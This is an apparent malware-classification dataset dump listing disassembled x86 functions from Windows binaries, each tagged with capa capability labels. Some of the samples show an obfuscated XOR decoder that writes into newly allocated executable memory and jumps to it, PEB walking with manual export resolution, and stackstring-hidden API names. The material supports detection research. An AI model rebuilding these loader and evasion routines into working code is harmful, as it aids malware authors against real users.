joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5181b0
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x518210
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x518210
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x518210
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x518210
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x518220
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle_1]
pop ecx
ret
Function at 0x51c310
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA_1
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount_1]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x51c376
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep_1]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA_1
cmp eax, 6
je 0x51c376
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x51c357
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x51c700
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x51c738
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA_1]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x51d360
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select_1
cmp eax, 0xffffffff
jne 0x51d3a9
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x51d820
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x5626c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.0051d3d0
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.0051d450
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.0051d450
lea ecx, [esi + 0xc]
call fcn.005508d6
lea ecx, [esi + 0x10]
call fcn.005508d6
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.0051e9e0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.0051e9e0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.0051e9e0
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.0055094b
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.0055094b
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x522cc4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x18]
imul eax, edi
add eax, edx
cmp edx, eax
mov dword [ebp - 0x14], eax
jae 0x522de5
mov eax, dword [ebp + 0x10]
lea eax, [edx + eax*4]
push ebx
push esi
mov dword [ebp + 0x14], eax
mov esi, 0xffc03fc0
mov eax, 0xff00ff
cmp edx, dword [ebp + 0x14]
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], ecx
jae 0x522dc9
mov ebx, dword [ebp + 0x14]
sub ebx, edx
dec ebx
shr ebx, 3
lea ecx, [edx + 4]
inc ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], ebx
mov edx, dword [ecx + edi]
mov edi, dword [edi + ecx - 4]
mov dword [ebp - 8], edi
shr edi, 2
and edi, esi
mov dword [ebp + 0x10], edx
mov edx, dword [ecx]
mov ecx, dword [ecx - 4]
mov ebx, ecx
shr ebx, 2
and ebx, esi
add ebx, edi
mov edi, dword [ebp + 0x10]
shr edi, 2
and edi, esi
add ebx, edi
mov edi, edx
shr edi, 2
and edi, esi
lea ebx, [ebx + edi - 0x7fff80]
mov edi, dword [ebp - 8]
and edi, eax
mov esi, ecx
and esi, eax
add esi, edi
mov edi, dword [ebp + 0x10]
and edi, eax
add esi, edi
mov edi, edx
and edi, eax
lea esi, [esi + edi + 0x20002]
mov edi, dword [ebp - 8]
shr ecx, 2
shr esi, 2
xor ebx, esi
shr edi, 2
mov esi, 0x3fc03fc0
and ecx, esi
and edi, esi
add ecx, edi
mov edi, dword [ebp + 0x10]
shr edi, 2
and edi, esi
add ecx, edi
mov edi, dword [ebp + 0x18]
shr edx, 2
and edx, esi
lea ecx, [ecx + edx + 0x800080]
and ebx, eax
xor ebx, ecx
mov ecx, dword [ebp - 4]
add dword [ebp - 4], 4
mov dword [ecx], ebx
mov ecx, dword [ebp - 0xc]
add ecx, 8
dec dword [ebp - 0x10]
mov dword [ebp - 0xc], ecx
mov esi, 0xffc03fc0
jne 0x522d1b
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x1c]
add dword [ebp + 8], ecx
lea ecx, [edi + edi]
add dword [ebp + 0x14], ecx
add edx, ecx
cmp edx, dword [ebp - 0x14]
mov dword [ebp + 0xc], edx
jb 0x522cf9
pop esi
pop ebx
xor eax, eax
pop edi
leave
ret 0x18

Function at 0x52382d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftDirect3D
push reloc.oleaut32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x523884
push esi
lea eax, [ebp + 0x14]
push eax
push dword [ebp + 0x10]
lea eax, [ebp + 0x10]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey_1]
test esi, esi
pop esi
jne 0x523884
mov eax, dword [ebp + 0x10]
cmp eax, dword [ebp + 8]
jne 0x523884
xor eax, eax
inc eax
jmp 0x523886
xor eax, eax
leave
ret 0x10
Function at 0x5238af
Capabilities:
Get system information on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push edi
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftDirect3D
push reloc.oleaut32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
xor edi, edi
test eax, eax
jne 0x52391d
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push edi
push 0x5eada4
push dword [ebp - 4]
mov dword [ebp - 8], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x523914
cmp dword [ebp - 0xc], 4
jne 0x523914
cmp dword [ebp - 0x10], edi
je 0x523914
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey_1]
mov dword [0x75f630], edi
xor eax, eax
jmp 0x52395c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey_1]
cmp dword [0x75f630], edi
jge 0x523957
lea eax, [ebp - 0x34]
push eax
mov dword [0x75f630], edi
call dword [sym.imp.KERNEL32.dll_GetSystemInfo_1]
cmp word [ebp - 0x34], di
jne 0x523957
cmp word [ebp - 0x14], 5
jb 0x523957
call fcn.0052388a
test eax, eax
je 0x523957
emms
mov dword [0x75f630], 1
mov eax, dword [0x75f630]
pop edi
leave
ret

Function at 0x552d2e
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x552d66
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00550da6
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA_1]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00550d7e
jmp 0x552d72
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x55452e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x554570
call fcn.0055ab12
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA_1]
cmp eax, edi
je 0x554570
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource_1]
cmp eax, edi
jne 0x554567
xor eax, eax
jmp 0x554578
push eax
call dword [sym.imp.KERNEL32.dll_LockResource_1]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0055457e
pop edi
pop esi
pop ebx
ret 4

Function at 0x55b042
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection_1]
cmp dword [esp + 0x10], 0
jne 0x55b070
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue_1]
test eax, eax
je 0x55b08e
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0055afa8
jmp 0x55b08e
mov eax, dword [esi + 0x14]
test eax, eax
je 0x55b08e
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0055afa8
test edi, edi
mov eax, edi
jne 0x55b078
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection_1]
pop esi
pop ebx
ret 8
Function at 0x10004377
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x10004386
pop dword [ebp - 0x28]
mov eax, 0x2b20e253
sub eax, 0x1b209ecd
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x881b05ea
add dword [ebp - 0x38], 0xc6373f61
mov dword [ebp - 0x34], 0x8c01b088
add dword [ebp - 0x34], 0xa6319bbd
mov dword [ebp - 0x30], 0x77f9c174
sub dword [ebp - 0x30], 0x2bad7d46
mov dword [ebp - 0x2c], 0x32cf8e
add dword [ebp - 0x2c], 0xffcd3072
lea eax, [ebp - 0x38]
push eax
mov eax, 0x2e245d17
add eax, 0xe1dbf341
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x6a73cab9
add dword [ebp - 0x38], 0x9fe9e9d
mov dword [ebp - 0x34], 0xc9c80791
sub dword [ebp - 0x34], 0x885ba61c
mov dword [ebp - 0x30], 0x3f9f4162
sub dword [ebp - 0x30], 0xdc2fd4f6
mov dword [ebp - 0x2c], 0x968d6ced
sub dword [ebp - 0x2c], 0x968d6ced
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0xe225692f
add eax, 0x2ddae74d
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x37e8c
push 0
call eax
mov ecx, 0xe4b13ce0
sub ecx, 0xe4b0ef6f
xor edi, edi
add edi, eax
mov ebx, 0x1000a800
add ebx, dword [ebp - 0x28]
mov edx, 0x5ca3f255
add edx, 0x31641676
sub dword [ebp - 0x20], ecx
mov esi, dword [ebx]
add dword [ebp - 0x10], 0xd90b5498
xor esi, edx
sub dword [ebp - 4], edx
mov dword [edi], esi
xor dword [ebp - 8], edi
add edi, 4
add ebx, 4
loop 0x100044a4
add eax, 0x3cabd6ee
add eax, 0xc35551a9
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x40b0f2
Capabilities:
Read file via mapping

Disassembly:
mov dword [edx], eax
push 0x40b3ec
call 0xff40ee6e
mov edx, dword [0x40d870]
mov dword [edx], eax
mov edx, 0x40b40c
lea eax, [ebp - 0x7c]
call 0xff40cc47
mov edx, dword [0x40d850]
add edx, 0x1484
lea eax, [ebp - 0x7c]
mov cl, 0x76
call 0xff40cc2d
lea edx, [ebp - 0x7c]
lea eax, [ebp - 4]
call 0xff40de38
mov eax, dword [ebp - 4]
call 0xff40df48
push eax
push 0
push 0
call 0xff40ed16
mov dword [0x40e928], eax
cmp dword [0x40e928], 0
je 0x40b38a
mov edx, 0x40b420
lea eax, [ebp - 0x100]
call 0xff40cc9c
mov edx, dword [0x40d850]
add edx, 0x1484
lea eax, [ebp - 0x100]
mov cl, 0x7d
call 0xff40cc85
lea edx, [ebp - 0x100]
lea eax, [ebp - 0x80]
call 0xff40de93
mov eax, dword [ebp - 0x80]
call 0xff40dfa3
push eax
push 0
push 0
call 0xff40ed71
mov dword [0x40e92c], eax
cmp dword [0x40e92c], 0
je 0x40b38a
mov edx, 0x40b43c
lea eax, [ebp - 0x188]
call 0xff40ccf7
mov edx, dword [0x40d850]
add edx, 0x1484
lea eax, [ebp - 0x188]
mov cl, 0x80
call 0xff40cce0
lea edx, [ebp - 0x188]
lea eax, [ebp - 0x104]
call 0xff40def1
mov eax, dword [ebp - 0x104]
call 0xff40e004
push eax
push 0
push 2
call 0xff40ee9a
mov dword [0x40e924], eax
cmp dword [0x40e924], 0
jne 0x40b26d
mov edx, 0x40b43c
lea eax, [ebp - 0x188]
call 0xff40cd54
mov edx, dword [0x40d850]
add edx, 0x1484
lea eax, [ebp - 0x188]
mov cl, 0x80
call 0xff40cd3d
lea edx, [ebp - 0x188]
lea eax, [ebp - 0x18c]
call 0xff40df4e
mov eax, dword [ebp - 0x18c]
call 0xff40e061
push eax
push 0x5d4ce
push 0
push 4
push 0
push 0xffffffffffffffff
call 0xff40ee28
mov dword [0x40e924], eax
cmp dword [0x40e924], 0
je 0x40b38a
call 0xff412c1f
cmp eax, 8
jne 0x40b298
mov eax, dword [0x40e928]
call fcn.00408b48
mov eax, dword [0x40e924]
call fcn.00408b48
push 0
push 0
push 0
push 6
mov eax, dword [0x40e924]
push eax
call sub.kernel32.dll_MapViewOfFile
mov dword [0x40e920], eax
cmp dword [0x40e920], 0
jne 0x40b2c9
mov eax, dword [0x40e924]
push eax
call sub.kernel32.dll_CloseHandle
jmp 0x415a53
mov byte [0x40e990], 0
mov eax, 0x40b45c
mov dword [ebx], eax
mov eax, 0x40b45c
mov dword [ebx + 4], eax
mov eax, 0x40b45c
mov dword [ebx + 8], eax
mov eax, 0x40b45c
mov dword [ebx + 0xc], eax
mov eax, 0x40b45c
mov dword [ebx + 0x10], eax
mov eax, 0x40b45c
mov dword [ebx + 0x14], eax
mov eax, 0x40b468
mov dword [esi], eax
mov eax, 0x40b474
mov dword [esi + 4], eax
mov eax, 0x40b480
mov dword [esi + 8], eax
mov eax, 0x40b48c
mov dword [esi + 0xc], eax
mov eax, 0x40b498
mov dword [esi + 0x10], eax
mov eax, 0x40b4a0
mov dword [esi + 0x14], eax
mov dword [edi], 0x409f44
mov dword [edi + 4], 0x409fa8
mov dword [edi + 8], 0x40a098
mov dword [edi + 0xc], 0x40a10c
mov dword [edi + 0x10], 0x40a7d4
mov dword [edi + 0x14], 0x40a84c
push 5
push edi
push 5
push 0x40e930
push 5
mov ecx, esi
mov eax, ebx
mov edx, 5
call 0xff412de9
call 0xff412d16
cmp eax, 8
jne 0x40b38a
mov eax, 0x40e930
mov edx, 5
call 0xff413132
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b3c5
lea eax, [ebp - 0x18c]
call 0xff40de4a
lea eax, [ebp - 0x104]
call 0xff40de55
lea eax, [ebp - 0x80]
call 0xff40de5d
lea eax, [ebp - 4]
call 0xff40de65
ret
Function at 0x413440
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
test edi, edi
je 0x413515
mov ebx, dword [esp + 0x20]
test ebx, ebx
je 0x413515
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
je 0x413515
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov ecx, ebx
mov esi, dword [eax + 0x1c]
sub ecx, dword [eax + 0x10]
mov edx, dword [eax + 0x14]
add esi, edi
mov dword [esp + 0x14], esi
mov dword [esp + 0x20], edx
cmp ecx, edx
ja 0x41349b
mov eax, dword [esi + ecx*4]
add eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
mov edx, dword [eax + 0x20]
mov ecx, dword [eax + 0x24]
mov ebp, dword [eax + 0x18]
add edx, edi
add ecx, edi
xor esi, esi
mov dword [esp + 0x10], edx
mov dword [esp + 0x1c], ecx
test ebp, ebp
je 0x413515
mov eax, dword [edx + esi*4]
add eax, edi
mov ecx, ebx
lea ecx, [ecx]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4134e0
test dl, dl
je 0x4134dc
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4134e0
add ecx, 2
add eax, 2
test dl, dl
jne 0x4134c0
xor eax, eax
jmp 0x4134e5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4134f7
mov eax, dword [esp + 0x1c]
movzx eax, word [eax + esi*2]
cmp eax, dword [esp + 0x20]
jbe 0x413502
inc esi
cmp esi, ebp
jae 0x413515
mov edx, dword [esp + 0x10]
jmp 0x4134b6
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + eax*4]
add eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret 8

Function at 0x413779
Capabilities:
Parse pe header

Disassembly:
mov ecx, dword [esp + 4]
test ecx, ecx
jne 0x413784
xor eax, eax
ret
push esi
mov esi, dword [esp + 0xc]
cmp esi, 0x40
jb 0x413798
mov eax, 0x5a4d
cmp word [ecx], ax
je 0x41379c
xor eax, eax
pop esi
ret
push edi
mov edi, dword [ecx + 0x3c]
lea eax, [edi + 0xf8]
cmp esi, eax
jb 0x4137d5
cmp dword [edi + ecx], 0x4550
jne 0x4137d5
mov eax, 0x14c
cmp word [edi + ecx + 4], ax
jne 0x4137d5
test byte [edi + ecx + 0x16], 2
je 0x4137d5
movzx eax, word [edi + ecx + 0x14]
mov edx, 0xe0
cmp ax, dx
jae 0x4137da
pop edi
xor eax, eax
pop esi
ret
push ebx
add eax, 0xffffff20
movzx ebx, ax
add ebx, edi
movzx edi, word [edi + ecx + 6]
add ebx, ecx
xor edx, edx
test edi, edi
jle 0x413816
xor eax, eax
jmp 0x4137f9
lea eax, [eax + eax*4]
mov ecx, dword [ebx + eax*8 + 0x10c]
add ecx, dword [ebx + eax*8 + 0x108]
cmp ecx, esi
ja 0x41381f
inc edx
movzx eax, dx
cmp eax, edi
jl 0x4137f9
pop ebx
pop edi
mov eax, 1
pop esi
ret
pop ebx
pop edi
xor eax, eax
pop esi
ret
Function at 0x413825
Capabilities:
Access peb ldr_data

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [esp + 0x10], eax
mov ebp, dword [esp + 0x10]
mov edi, dword [ebp + 0x30]
mov esi, dword [esp + 0x18]
movzx ebx, word [esi]
mov eax, ebx
lea ecx, [eax - 0x41]
cmp ecx, 0x19
ja 0x41385d
add eax, 0x20
movzx edx, word [edi]
lea ecx, [edx - 0x41]
cmp ecx, 0x19
ja 0x41386b
add edx, 0x20
cmp eax, edx
jne 0x41387c
test bx, bx
je 0x4138b1
add esi, 2
add edi, 2
jmp 0x41384d
movzx ecx, word [esi]
lea eax, [ecx - 0x41]
cmp eax, 0x19
ja 0x41388a
add ecx, 0x20
movzx edx, word [edi]
lea eax, [edx - 0x41]
cmp eax, 0x19
ja 0x413898
add edx, 0x20
sub ecx, edx
je 0x4138b1
mov ebp, dword [ebp]
mov dword [esp + 0x10], ebp
cmp dword [ebp + 0x18], 0
jne 0x413846
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [ebp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x4138ca
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 8
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
test edi, edi
je 0x4139a3
mov ebx, dword [esp + 0x20]
test ebx, ebx
je 0x4139a3
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
je 0x4139a3
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov ecx, ebx
mov esi, dword [eax + 0x1c]
sub ecx, dword [eax + 0x10]
mov edx, dword [eax + 0x14]
add esi, edi
mov dword [esp + 0x14], esi
mov dword [esp + 0x20], edx
cmp ecx, edx
ja 0x413929
mov eax, dword [esi + ecx*4]
add eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
mov edx, dword [eax + 0x20]
mov ecx, dword [eax + 0x24]
mov ebp, dword [eax + 0x18]
add edx, edi
add ecx, edi
xor esi, esi
mov dword [esp + 0x10], edx
mov dword [esp + 0x1c], ecx
test ebp, ebp
je 0x4139a3
mov eax, dword [edx + esi*4]
add eax, edi
mov ecx, ebx
lea ecx, [ecx]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x41396e
test dl, dl
je 0x41396a
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x41396e
add ecx, 2
add eax, 2
test dl, dl
jne 0x41394e
xor eax, eax
jmp 0x413973
sbb eax, eax
or eax, 1
test eax, eax
jne 0x413985
mov eax, dword [esp + 0x1c]
movzx eax, word [eax + esi*2]
cmp eax, dword [esp + 0x20]
jbe 0x413990
inc esi
cmp esi, ebp
jae 0x4139a3
mov edx, dword [esp + 0x10]
jmp 0x413944
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + eax*4]
add eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret 8
Function at 0x4139bf
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 0x48
push ebx
push ebp
push esi
mov esi, dword [esp + 0x58]
push edi
test esi, esi
je 0x413ae7
xor eax, eax
mov word [esp + 0x54], ax
mov byte [esp + 0x38], al
lea eax, [esp + 0x3c]
push eax
mov dword [esp + 0x40], 0x65006b
mov dword [esp + 0x44], 0x6e0072
mov dword [esp + 0x48], 0x6c0065
mov dword [esp + 0x4c], 0x320033
mov dword [esp + 0x50], 0x64002e
mov dword [esp + 0x54], 0x6c006c
mov dword [esp + 0x2c], 0x4d746547
mov dword [esp + 0x30], 0x6c75646f
mov dword [esp + 0x34], 0x6e614865
mov dword [esp + 0x38], 0x41656c64
mov dword [esp + 0x14], 0x65657246
mov dword [esp + 0x18], 0x7262694c
mov dword [esp + 0x1c], 0x797261
mov dword [esp + 0x20], 0x74726956
mov dword [esp + 0x24], 0x466c6175
mov dword [esp + 0x28], 0x656572
call fcn.00413c21
add esp, 4
mov ebx, eax
lea eax, [esp + 0x28]
push eax
push ebx
call fcn.00413af3
mov ebp, eax
test ebp, ebp
je 0x413ae7
lea eax, [esp + 0x10]
push eax
push ebx
call fcn.00413af3
mov edi, eax
test edi, edi
je 0x413ae7
lea eax, [esp + 0x1c]
push eax
push ebx
call fcn.00413af3
mov ebx, eax
test ebx, ebx
je 0x413ae7
mov ecx, dword [esi + 0x3c]
mov eax, 0x2000
test word [ecx + esi + 0x16], ax
je 0x413ac3
mov eax, dword [ecx + esi + 0x28]
test eax, eax
je 0x413ac3
push 0
push 0
push esi
add eax, esi
call eax
push edi
push ebp
push esi
call fcn.00413bd4
add esp, 0xc
push 0x8000
push 0
push esi
call ebx
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x48
ret 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x48
ret 4

Function at 0x413af3
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
test edi, edi
je 0x413bc8
mov ebx, dword [esp + 0x20]
test ebx, ebx
je 0x413bc8
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
je 0x413bc8
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov ecx, ebx
mov esi, dword [eax + 0x1c]
sub ecx, dword [eax + 0x10]
mov edx, dword [eax + 0x14]
add esi, edi
mov dword [esp + 0x14], esi
mov dword [esp + 0x20], edx
cmp ecx, edx
ja 0x413b4e
mov eax, dword [esi + ecx*4]
add eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
mov edx, dword [eax + 0x20]
mov ecx, dword [eax + 0x24]
mov ebp, dword [eax + 0x18]
add edx, edi
add ecx, edi
xor esi, esi
mov dword [esp + 0x10], edx
mov dword [esp + 0x1c], ecx
test ebp, ebp
je 0x413bc8
mov eax, dword [edx + esi*4]
add eax, edi
mov ecx, ebx
lea ecx, [ecx]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x413b93
test dl, dl
je 0x413b8f
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x413b93
add ecx, 2
add eax, 2
test dl, dl
jne 0x413b73
xor eax, eax
jmp 0x413b98
sbb eax, eax
or eax, 1
test eax, eax
jne 0x413baa
mov eax, dword [esp + 0x1c]
movzx eax, word [eax + esi*2]
cmp eax, dword [esp + 0x20]
jbe 0x413bb5
inc esi
cmp esi, ebp
jae 0x413bc8
mov edx, dword [esp + 0x10]
jmp 0x413b69
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + eax*4]
add eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret 8
Function at 0x413c21
Capabilities:
Access peb ldr_data

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [esp + 0x10], eax
mov ebp, dword [esp + 0x10]
mov edi, dword [ebp + 0x30]
mov esi, dword [esp + 0x18]
movzx ebx, word [esi]
mov eax, ebx
lea ecx, [eax - 0x41]
cmp ecx, 0x19
ja 0x413c59
add eax, 0x20
movzx edx, word [edi]
lea ecx, [edx - 0x41]
cmp ecx, 0x19
ja 0x413c67
add edx, 0x20
cmp eax, edx
jne 0x413c78
test bx, bx
je 0x413cad
add esi, 2
add edi, 2
jmp 0x413c49
movzx ecx, word [esi]
lea eax, [ecx - 0x41]
cmp eax, 0x19
ja 0x413c86
add ecx, 0x20
movzx edx, word [edi]
lea eax, [edx - 0x41]
cmp eax, 0x19
ja 0x413c94
add edx, 0x20
sub ecx, edx
je 0x413cad
mov ebp, dword [ebp]
mov dword [esp + 0x10], ebp
cmp dword [ebp + 0x18], 0
jne 0x413c42
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [ebp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret